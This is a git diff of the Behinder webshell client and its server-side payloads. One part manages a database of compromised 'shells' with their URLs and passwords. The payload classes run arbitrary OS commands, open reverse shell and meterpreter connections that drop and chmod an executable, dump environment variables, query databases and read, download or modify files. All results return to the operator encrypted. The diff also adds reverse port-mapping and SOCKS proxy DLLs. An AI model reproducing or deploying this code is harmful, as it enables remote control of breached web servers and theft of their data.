+ PreparedStatement statement = this.connection.prepareStatement("update shells set url=?,ip=?,password=?,type=?,catagory=?,comment=?,headers=?,updatetime=? where id=?");
statement.setString(1, url);
statement.setString(2, InetAddress.getByName((new URL(url)).getHost()).getHostAddress());
statement.setString(3, password);
@@ -261,31 +326,39 @@ public int updateShell(int shellID, String url, String password, String type, St
Timestamp now = new Timestamp(System.currentTimeMillis());
statement.setTimestamp(8, now);
statement.setInt(9, shellID);
- return statement.executeUpdate();
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
}
public int deleteShell(int shellId) throws Exception {
- PreparedStatement statement = connection.prepareStatement("delete from shells where id=?");
+ PreparedStatement statement = this.connection.prepareStatement("delete from shells where id=?");
statement.setInt(1, shellId);
- return statement.executeUpdate();
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
}
public int deleteCatagory(String cataGoryName) throws Exception {
- PreparedStatement statement = connection.prepareStatement("delete from catagory where name=?");
+ PreparedStatement statement = this.connection.prepareStatement("delete from catagory where name=?");
statement.setString(1, cataGoryName);
- return statement.executeUpdate();
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
}
public int addPlugin(String name, String type, String code) throws Exception {
- PreparedStatement statement = connection.prepareStatement("insert into plugins(name,type,code) values (?,?,?)");
+ PreparedStatement statement = this.connection.prepareStatement("insert into plugins(name,type,code) values (?,?,?)");
statement.setString(0, name);
statement.setString(1, type);
statement.setString(2, code);
- return statement.executeUpdate();
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
}
public int addProxy(String name, String type, String ip, int port, String username, String password, int status) throws Exception {
- PreparedStatement statement = connection.prepareStatement("insert into proxys(name,type,ip,port,username,password,status) values (?,?,?,?,?,?,?)");
+ PreparedStatement statement = this.connection.prepareStatement("insert into proxys(name,type,ip,port,username,password,status) values (?,?,?,?,?,?,?)");
statement.setString(1, name);
statement.setString(2, type);
statement.setString(3, ip);
@@ -293,11 +366,13 @@ public int addProxy(String name, String type, String ip, int port, String userna
statement.setString(5, username);
statement.setString(6, password);
statement.setInt(7, status);
- return statement.executeUpdate();
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
}
public int updateProxy(String name, String type, String ip, String port, String username, String password, int status) throws Exception {
- PreparedStatement statement = connection.prepareStatement("update proxys set type=?,ip=?,port=?,username=?,password=?,status=? where name=?");
+ PreparedStatement statement = this.connection.prepareStatement("update proxys set type=?,ip=?,port=?,username=?,password=?,status=? where name=?");
statement.setString(1, type);
statement.setString(2, ip);
statement.setString(3, port);
@@ -305,12 +380,14 @@ public int updateProxy(String name, String type, String ip, String port, String
statement.setString(5, password);
statement.setInt(6, status);
statement.setString(7, name);
- return statement.executeUpdate();
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
}
public JSONObject findProxy(String name) throws Exception {
JSONArray result = new JSONArray();
- PreparedStatement statement = connection.prepareStatement("select * from proxys where name=?");
+ PreparedStatement statement = this.connection.prepareStatement("select * from proxys where name=?");
statement.setString(1, name);
ResultSet rs = statement.executeQuery();
ResultSetMetaData rsmd = rs.getMetaData();
@@ -327,12 +404,13 @@ public JSONObject findProxy(String name) throws Exception {
result.put((Object)obj);
}
+ statement.close();
return result.length() == 0 ? null : result.getJSONObject(0);
}
public JSONObject findPluginByName(String scriptType, String name) throws Exception {
JSONArray result = new JSONArray();
- PreparedStatement statement = connection.prepareStatement("select * from plugins where scripttype=? and name=?");
+ PreparedStatement statement = this.connection.prepareStatement("select * from plugins where scripttype=? and name=?");
statement.setString(1, scriptType);
statement.setString(2, name);
ResultSet rs = statement.executeQuery();
@@ -354,35 +432,43 @@ public JSONObject findPluginByName(String scriptType, String name) throws Except
}
public int updatePlugin(int pluginID, String name, String type, String code) throws Exception {
- PreparedStatement statement = connection.prepareStatement("update plugins set name=?,type=?,code=? where id=?");
+ PreparedStatement statement = this.connection.prepareStatement("update plugins set name=?,type=?,code=? where id=?");
statement.setString(0, name);
statement.setString(1, type);
statement.setString(2, code);
statement.setInt(3, pluginID);
- return statement.executeUpdate();
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
}
public int delPlugin(int pluginID) throws Exception {
- PreparedStatement statement = connection.prepareStatement("delete from plugins where id=?");
+ PreparedStatement statement = this.connection.prepareStatement("delete from plugins where id=?");
statement.setInt(1, pluginID);
- return statement.executeUpdate();
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
}
public int delHost(int hostID) throws Exception {
- PreparedStatement statement = connection.prepareStatement("delete from hosts where id=?");
+ PreparedStatement statement = this.connection.prepareStatement("delete from hosts where id=?");
statement.setInt(1, hostID);
- return statement.executeUpdate();
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
}
public int delService(int serviceID) throws Exception {
- PreparedStatement statement = connection.prepareStatement("delete from service where id=?");
+ PreparedStatement statement = this.connection.prepareStatement("delete from service where id=?");
statement.setInt(1, serviceID);
- return statement.executeUpdate();
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
}
public JSONArray listPlugin(String scriptType) throws Exception {
JSONArray result = new JSONArray();
- PreparedStatement statement = connection.prepareStatement("select * from plugins where scripttype=? or scripttype='all'");
+ PreparedStatement statement = this.connection.prepareStatement("select * from plugins where scripttype=? or scripttype='all'");
statement.setString(1, scriptType);
ResultSet rs = statement.executeQuery();
ResultSetMetaData rsmd = rs.getMetaData();
@@ -404,7 +490,7 @@ public JSONArray listPlugin(String scriptType) throws Exception {
public JSONArray listPlugin() throws Exception {
JSONArray result = new JSONArray();
- Statement statement = connection.createStatement();
+ Statement statement = this.connection.createStatement();
ResultSet rs = statement.executeQuery("select * from plugins");
ResultSetMetaData rsmd = rs.getMetaData();
@@ -425,7 +511,7 @@ public JSONArray listPlugin() throws Exception {
public JSONArray listHost(int shellID) throws Exception {
JSONArray result = new JSONArray();
- PreparedStatement statement = connection.prepareStatement("select * from hosts where shellid=?");
+ PreparedStatement statement = this.connection.prepareStatement("select * from hosts where shellid=?");
statement.setInt(1, shellID);
ResultSet rs = statement.executeQuery();
ResultSetMetaData rsmd = rs.getMetaData();
@@ -447,7 +533,7 @@ public JSONArray listHost(int shellID) throws Exception {
public JSONArray listService(int hostID) throws Exception {
JSONArray result = new JSONArray();
- PreparedStatement statement = connection.prepareStatement("select * from service where hostid=?");
+ PreparedStatement statement = this.connection.prepareStatement("select * from service where hostid=?");
statement.setInt(1, hostID);
ResultSet rs = statement.executeQuery();
ResultSetMetaData rsmd = rs.getMetaData();
@@ -468,21 +554,24 @@ public JSONArray listService(int hostID) throws Exception {
}
public int updateOsInfo(int shellID, String osInfo) throws Exception {
- PreparedStatement statement = connection.prepareStatement("update shells set os=? where id=?");
+ PreparedStatement statement = this.connection.prepareStatement("update shells set os=? where id=?");
statement.setString(1, osInfo);
statement.setInt(2, shellID);
- return statement.executeUpdate();
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
}
public int updateMemo(int shellID, String memo) throws Exception {
- PreparedStatement statement = connection.prepareStatement("update shells set memo=? where id=?");
+ PreparedStatement statement = this.connection.prepareStatement("update shells set memo=? where id=?");
statement.setString(1, memo);
statement.setInt(2, shellID);
- return statement.executeUpdate();
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
}
static {
DB_URL = "jdbc:sqlite:" + DB_PATH;
- connection = null;
}
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/csharp/BasicInfo.dll b/src/main/java/net/rebeyond/behinder/payload/csharp/BasicInfo.dll
index 465e3d3..c73ff57 100644
Binary files a/src/main/java/net/rebeyond/behinder/payload/csharp/BasicInfo.dll and b/src/main/java/net/rebeyond/behinder/payload/csharp/BasicInfo.dll differ
diff --git a/src/main/java/net/rebeyond/behinder/payload/csharp/Cmd.dll b/src/main/java/net/rebeyond/behinder/payload/csharp/Cmd.dll
index 04335cb..2dd1c4d 100644
Binary files a/src/main/java/net/rebeyond/behinder/payload/csharp/Cmd.dll and b/src/main/java/net/rebeyond/behinder/payload/csharp/Cmd.dll differ
diff --git a/src/main/java/net/rebeyond/behinder/payload/csharp/ConnectBack.dll b/src/main/java/net/rebeyond/behinder/payload/csharp/ConnectBack.dll
index c2d6baf..db65502 100644
Binary files a/src/main/java/net/rebeyond/behinder/payload/csharp/ConnectBack.dll and b/src/main/java/net/rebeyond/behinder/payload/csharp/ConnectBack.dll differ
diff --git a/src/main/java/net/rebeyond/behinder/payload/csharp/FileOperation.dll b/src/main/java/net/rebeyond/behinder/payload/csharp/FileOperation.dll
index 8928b21..08dfd25 100644
Binary files a/src/main/java/net/rebeyond/behinder/payload/csharp/FileOperation.dll and b/src/main/java/net/rebeyond/behinder/payload/csharp/FileOperation.dll differ
diff --git a/src/main/java/net/rebeyond/behinder/payload/csharp/LoadNativeLibrary.dll b/src/main/java/net/rebeyond/behinder/payload/csharp/LoadNativeLibrary.dll
new file mode 100644
index 0000000..8aa98d0
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/payload/csharp/LoadNativeLibrary.dll differ
diff --git a/src/main/java/net/rebeyond/behinder/payload/csharp/RealCMD.dll b/src/main/java/net/rebeyond/behinder/payload/csharp/RealCMD.dll
index 0eba2fb..94b1844 100644
Binary files a/src/main/java/net/rebeyond/behinder/payload/csharp/RealCMD.dll and b/src/main/java/net/rebeyond/behinder/payload/csharp/RealCMD.dll differ
diff --git a/src/main/java/net/rebeyond/behinder/payload/csharp/RemoteSocksProxy.dll b/src/main/java/net/rebeyond/behinder/payload/csharp/RemoteSocksProxy.dll
new file mode 100644
index 0000000..cb16f9d
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/payload/csharp/RemoteSocksProxy.dll differ
diff --git a/src/main/java/net/rebeyond/behinder/payload/csharp/ReversePortMap.dll b/src/main/java/net/rebeyond/behinder/payload/csharp/ReversePortMap.dll
new file mode 100644
index 0000000..7dd7a96
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/payload/csharp/ReversePortMap.dll differ
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/BShell.java b/src/main/java/net/rebeyond/behinder/payload/java/BShell.java
index 3c70335..8b0512d 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/BShell.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/BShell.java
@@ -61,7 +61,6 @@ public boolean equals(Object obj) {
((Map)result).put("status", "success");
}
} catch (Exception var6) {
- var6.printStackTrace();
((Map)result).put("msg", var6.getMessage());
((Map)result).put("status", "fail");
}
@@ -73,7 +72,6 @@ public boolean equals(Object obj) {
so.close();
page.getOut().clear();
} catch (Exception var5) {
- var5.printStackTrace();
}
return true;
@@ -229,7 +227,6 @@ public void run() {
}
}
} catch (IOException var5) {
- var5.printStackTrace();
}
}
@@ -288,7 +285,6 @@ public static void main(String[] args) {
(new StringBuilder()).append("BShell_").append(remoteIP).toString();
}
} catch (IOException var5) {
- var5.printStackTrace();
}
}
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/BasicInfo.java b/src/main/java/net/rebeyond/behinder/payload/java/BasicInfo.java
index 0da086b..9f422bd 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/BasicInfo.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/BasicInfo.java
@@ -10,44 +10,48 @@
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletOutputStream;
-import javax.servlet.jsp.PageContext;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpSession;
public class BasicInfo {
public static String whatever;
+ private ServletRequest Request;
+ private ServletResponse Response;
+ private HttpSession Session;
public boolean equals(Object obj) {
- PageContext page = (PageContext)obj;
- page.getResponse().setCharacterEncoding("UTF-8");
String result = "";
try {
+ this.fillContext(obj);
StringBuilder basicInfo = new StringBuilder("
环境变量:
");
Map env = System.getenv();
- Iterator var6 = env.keySet().iterator();
+ Iterator var5 = env.keySet().iterator();
- while(var6.hasNext()) {
- String name = (String)var6.next();
+ while(var5.hasNext()) {
+ String name = (String)var5.next();
basicInfo.append(name + "=" + (String)env.get(name) + "
");
}
basicInfo.append("
JRE系统属性:
");
Properties props = System.getProperties();
Set entrySet = props.entrySet();
- Iterator var8 = entrySet.iterator();
+ Iterator var7 = entrySet.iterator();
- while(var8.hasNext()) {
- Entry entry = (Entry)var8.next();
+ while(var7.hasNext()) {
+ Entry entry = (Entry)var7.next();
basicInfo.append(entry.getKey() + " = " + entry.getValue() + "
");
}
String currentPath = (new File("")).getAbsolutePath();
String driveList = "";
File[] roots = File.listRoots();
- File[] var11 = roots;
- int var12 = roots.length;
+ File[] var10 = roots;
+ int var11 = roots.length;
- for(int var13 = 0; var13 < var12; ++var13) {
- File f = var11[var13];
+ for(int var12 = 0; var12 < var11; ++var12) {
+ File f = var10[var12];
driveList = driveList + f.getPath() + ";";
}
@@ -57,15 +61,14 @@ public boolean equals(Object obj) {
entity.put("currentPath", currentPath);
entity.put("driveList", driveList);
entity.put("osInfo", osInfo);
+ entity.put("arch", System.getProperty("os.arch"));
result = this.buildJson(entity, true);
- String key = page.getSession().getAttribute("u").toString();
- ServletOutputStream so = page.getResponse().getOutputStream();
+ String key = this.Session.getAttribute("u").toString();
+ ServletOutputStream so = this.Response.getOutputStream();
so.write(Encrypt(result.getBytes(), key));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var15) {
- var15.printStackTrace();
+ } catch (Exception var14) {
}
return true;
@@ -115,4 +118,19 @@ private String buildJson(Map entity, boolean encode) throws Exception {
sb.append("}");
return sb.toString();
}
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/Cmd.java b/src/main/java/net/rebeyond/behinder/payload/java/Cmd.java
index 1511e3e..c4293cb 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/Cmd.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/Cmd.java
@@ -12,45 +12,41 @@
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
-import javax.servlet.jsp.PageContext;
public class Cmd {
public static String cmd;
+ public static String path;
+ private static String status = "success";
private ServletRequest Request;
private ServletResponse Response;
private HttpSession Session;
public boolean equals(Object obj) {
- PageContext page = (PageContext)obj;
- this.Session = page.getSession();
- this.Response = page.getResponse();
- this.Request = page.getRequest();
- page.getResponse().setCharacterEncoding("UTF-8");
HashMap result = new HashMap();
- boolean var12 = false;
+ boolean var11 = false;
ServletOutputStream so = null;
label77: {
try {
- var12 = true;
+ var11 = true;
+ this.fillContext(obj);
result.put("msg", this.RunCMD(cmd));
- result.put("status", "success");
- var12 = false;
+ result.put("status", status);
+ var11 = false;
break label77;
- } catch (Exception var16) {
- result.put("msg", var16.getMessage());
- result.put("status", "success");
- var12 = false;
+ } catch (Exception var15) {
+ result.put("msg", var15.getMessage());
+ result.put("status", "fail");
+ var11 = false;
} finally {
- if (var12) {
+ if (var11) {
try {
so = this.Response.getOutputStream();
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var13) {
- var13.printStackTrace();
+ } catch (Exception var12) {
+ var12.printStackTrace();
}
}
@@ -61,9 +57,8 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var14) {
- var14.printStackTrace();
+ } catch (Exception var13) {
+ var13.printStackTrace();
}
return true;
@@ -74,9 +69,8 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var15) {
- var15.printStackTrace();
+ } catch (Exception var14) {
+ var14.printStackTrace();
}
return true;
@@ -90,12 +84,20 @@ private String RunCMD(String cmd) throws Exception {
if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
} else {
- p = Runtime.getRuntime().exec(cmd);
+ p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
- for(String disr = br.readLine(); disr != null; disr = br.readLine()) {
+ String disr;
+ for(disr = br.readLine(); disr != null; disr = br.readLine()) {
+ result = result + disr + "\n";
+ }
+
+ br = new BufferedReader(new InputStreamReader(p.getErrorStream(), "GB2312"));
+
+ for(disr = br.readLine(); disr != null; disr = br.readLine()) {
+ status = "error";
result = result + disr + "\n";
}
@@ -153,4 +155,19 @@ private String buildJson(Map entity, boolean encode) throws Exception {
sb.append("}");
return sb.toString();
}
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/ConnectBack.java b/src/main/java/net/rebeyond/behinder/payload/java/ConnectBack.java
index 5b3224e..dbc1ebf 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/ConnectBack.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/ConnectBack.java
@@ -36,7 +36,6 @@
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
-import javax.servlet.jsp.PageContext;
public class ConnectBack extends ClassLoader implements Runnable {
public static String type;
@@ -62,13 +61,10 @@ public ConnectBack() {
}
public boolean equals(Object obj) {
- PageContext page = (PageContext)obj;
- this.Session = page.getSession();
- this.Response = page.getResponse();
- this.Request = page.getRequest();
HashMap result = new HashMap();
try {
+ this.fillContext(obj);
if (type.equals("shell")) {
this.shellConnect();
} else if (type.equals("meter")) {
@@ -76,9 +72,9 @@ public boolean equals(Object obj) {
}
result.put("status", "success");
- } catch (Exception var6) {
+ } catch (Exception var5) {
result.put("status", "fail");
- result.put("msg", var6.getMessage());
+ result.put("msg", var5.getMessage());
}
try {
@@ -86,9 +82,7 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var5) {
- var5.printStackTrace();
+ } catch (Exception var4) {
}
return true;
@@ -149,7 +143,6 @@ public static void main(String[] args) {
port = "4444";
c.meterConnect();
} catch (Exception var2) {
- var2.printStackTrace();
}
}
@@ -217,7 +210,6 @@ private void meterConnect() throws Exception {
Runtime.getRuntime().exec(new String[]{"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception var17) {
- var17.printStackTrace();
}
}
@@ -263,7 +255,7 @@ private void meterConnect() throws Exception {
String aesPassword = props.getProperty("AESPassword", (String)null);
if (aesPassword != null) {
- Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", InputStream.class, OutputStream.class, String.class).invoke((Object)null, in, out, aesPassword);
+ Object[] streams = (Object[])((Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", InputStream.class, OutputStream.class, String.class).invoke((Object)null, in, out, aesPassword));
in = (InputStream)streams[0];
out = (OutputStream)streams[1];
}
@@ -316,7 +308,6 @@ private final void bootstrap(InputStream rawIn, OutputStream out, String embedde
Object stage = clazz.newInstance();
clazz.getMethod("start", DataInputStream.class, OutputStream.class, String[].class).invoke(stage, in, out, stageParameters);
} catch (Throwable var11) {
- var11.printStackTrace();
var11.printStackTrace(new PrintStream(out));
}
@@ -469,6 +460,21 @@ private byte[] Encrypt(byte[] bs) throws Exception {
return encrypted;
}
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
+
static {
OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
PATH_SEP = System.getProperty("path.separator");
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/Database.java b/src/main/java/net/rebeyond/behinder/payload/java/Database.java
index c7c4858..d519525 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/Database.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/Database.java
@@ -13,9 +13,9 @@
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
-import javax.servlet.jsp.PageContext;
public class Database {
public static String type;
@@ -25,26 +25,24 @@ public class Database {
public static String pass;
public static String database;
public static String sql;
+ private ServletRequest Request;
private ServletResponse Response;
private HttpSession Session;
public boolean equals(Object obj) {
- PageContext page = (PageContext)obj;
- this.Session = page.getSession();
- this.Response = page.getResponse();
HashMap result = new HashMap();
try {
+ this.fillContext(obj);
this.executeSQL();
result.put("msg", this.executeSQL());
result.put("status", "success");
- } catch (Exception var6) {
- var6.printStackTrace();
+ } catch (Exception var5) {
result.put("status", "fail");
- if (var6 instanceof ClassNotFoundException) {
+ if (var5 instanceof ClassNotFoundException) {
result.put("msg", "NoDriver");
} else {
- result.put("msg", var6.getMessage());
+ result.put("msg", var5.getMessage());
}
}
@@ -53,9 +51,7 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var5) {
- var5.printStackTrace();
+ } catch (Exception var4) {
}
return true;
@@ -176,4 +172,19 @@ private String buildJson(Map entity, boolean encode) throws Exception {
sb.append("}");
return sb.toString();
}
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/Echo.java b/src/main/java/net/rebeyond/behinder/payload/java/Echo.java
index f0722f8..26aabba 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/Echo.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/Echo.java
@@ -12,7 +12,6 @@
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
-import javax.servlet.jsp.PageContext;
public class Echo {
public static String content;
@@ -21,36 +20,30 @@ public class Echo {
private HttpSession Session;
public boolean equals(Object obj) {
- PageContext page = (PageContext)obj;
- this.Session = page.getSession();
- this.Response = page.getResponse();
- this.Request = page.getRequest();
- page.getResponse().setCharacterEncoding("UTF-8");
HashMap result = new HashMap();
- boolean var12 = false;
+ boolean var11 = false;
- ServletOutputStream so;
+ ServletOutputStream so = null;
label77: {
try {
- var12 = true;
+ var11 = true;
+ this.fillContext(obj);
result.put("status", "success");
result.put("msg", content);
- var12 = false;
+ var11 = false;
break label77;
- } catch (Exception var16) {
- result.put("msg", var16.getMessage());
+ } catch (Exception var15) {
+ result.put("msg", var15.getMessage());
result.put("status", "success");
- var12 = false;
+ var11 = false;
} finally {
- if (var12) {
+ if (var11) {
try {
so = this.Response.getOutputStream();
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var13) {
- var13.printStackTrace();
+ } catch (Exception var12) {
}
}
@@ -61,9 +54,7 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var14) {
- var14.printStackTrace();
+ } catch (Exception var13) {
}
return true;
@@ -74,9 +65,7 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var15) {
- var15.printStackTrace();
+ } catch (Exception var14) {
}
return true;
@@ -153,4 +142,19 @@ private String buildJson(Map entity, boolean encode) throws Exception {
sb.append("}");
return sb.toString();
}
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/FileOperation.java b/src/main/java/net/rebeyond/behinder/payload/java/FileOperation.java
index e394b6e..e78eb51 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/FileOperation.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/FileOperation.java
@@ -6,8 +6,9 @@
import java.io.FileOutputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
-import java.net.URI;
import java.nio.charset.Charset;
+import java.nio.file.LinkOption;
+import java.nio.file.Path;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
@@ -17,13 +18,13 @@
import java.util.Iterator;
import java.util.List;
import java.util.Map;
+import java.util.Set;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
-import javax.servlet.jsp.PageContext;
public class FileOperation {
public static String mode;
@@ -40,53 +41,48 @@ public class FileOperation {
private Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
public boolean equals(Object obj) {
- PageContext page = (PageContext)obj;
- this.Session = page.getSession();
- this.Response = page.getResponse();
- this.Request = page.getRequest();
- this.Response.setCharacterEncoding("UTF-8");
Object result = new HashMap();
try {
+ this.fillContext(obj);
if (mode.equalsIgnoreCase("list")) {
- ((Map)result).put("msg", this.list(page));
+ ((Map)result).put("msg", this.list());
((Map)result).put("status", "success");
} else if (mode.equalsIgnoreCase("show")) {
- ((Map)result).put("msg", this.show(page));
+ ((Map)result).put("msg", this.show());
((Map)result).put("status", "success");
} else if (mode.equalsIgnoreCase("delete")) {
- result = this.delete(page);
+ result = this.delete();
} else if (mode.equalsIgnoreCase("create")) {
- ((Map)result).put("msg", this.create(page));
+ ((Map)result).put("msg", this.create());
((Map)result).put("status", "success");
} else if (mode.equalsIgnoreCase("append")) {
- ((Map)result).put("msg", this.append(page));
+ ((Map)result).put("msg", this.append());
((Map)result).put("status", "success");
} else {
if (mode.equalsIgnoreCase("download")) {
- this.download(page);
+ this.download();
return true;
}
if (mode.equalsIgnoreCase("rename")) {
- result = this.renameFile(page);
+ result = this.renameFile();
} else if (mode.equalsIgnoreCase("createFile")) {
- ((Map)result).put("msg", this.createFile(page));
+ ((Map)result).put("msg", this.createFile());
((Map)result).put("status", "success");
} else if (mode.equalsIgnoreCase("createDirectory")) {
- ((Map)result).put("msg", this.createDirectory(page));
+ ((Map)result).put("msg", this.createDirectory());
((Map)result).put("status", "success");
} else if (mode.equalsIgnoreCase("getTimeStamp")) {
- ((Map)result).put("msg", this.getTimeStamp(page));
+ ((Map)result).put("msg", this.getTimeStamp());
((Map)result).put("status", "success");
} else if (mode.equalsIgnoreCase("updateTimeStamp")) {
- ((Map)result).put("msg", this.updateTimeStamp(page));
+ ((Map)result).put("msg", this.updateTimeStamp());
((Map)result).put("status", "success");
}
}
- } catch (Exception var6) {
- var6.printStackTrace();
- ((Map)result).put("msg", var6.getMessage());
+ } catch (Exception var5) {
+ ((Map)result).put("msg", var5.getMessage());
((Map)result).put("status", "fail");
}
@@ -95,9 +91,7 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var5) {
- var5.printStackTrace();
+ } catch (Exception var4) {
}
return true;
@@ -108,23 +102,58 @@ private Map warpFileObj(File file) {
